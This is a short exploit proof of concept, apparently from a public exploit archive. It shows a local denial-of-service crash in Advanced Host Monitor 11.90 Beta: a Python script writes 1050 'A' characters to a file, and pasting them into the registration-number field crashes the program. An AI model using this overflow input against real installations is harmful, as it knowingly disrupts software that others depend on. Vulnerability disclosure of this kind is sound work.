Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)

# Exploit Title: Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2019-01-30
# Vendor Homepage: https://www.ks-soft.net
# Software Link : https://www.ks-soft.net/download/hm1190.exe
# Tested Version: 11.90 Beta
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python Advanced_Host_Monitor_11.90_Beta.py
# 2.- Open Advanced_Host_Monitor_11.90_Beta.txt and copy content to clipboard
# 3.- Open HostMonitor
# 4.- Help -> License...
# 5.- Register Now
# 6.- Name (Organization): -> l4m5
# 7.- Paste ClipBoard on "Registration number:"
# 8.- OK
# 9.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 1050
f = open ("Advanced_Host_Monitor_11.90_Beta.txt", "w")
f.write(buffer)
f.close()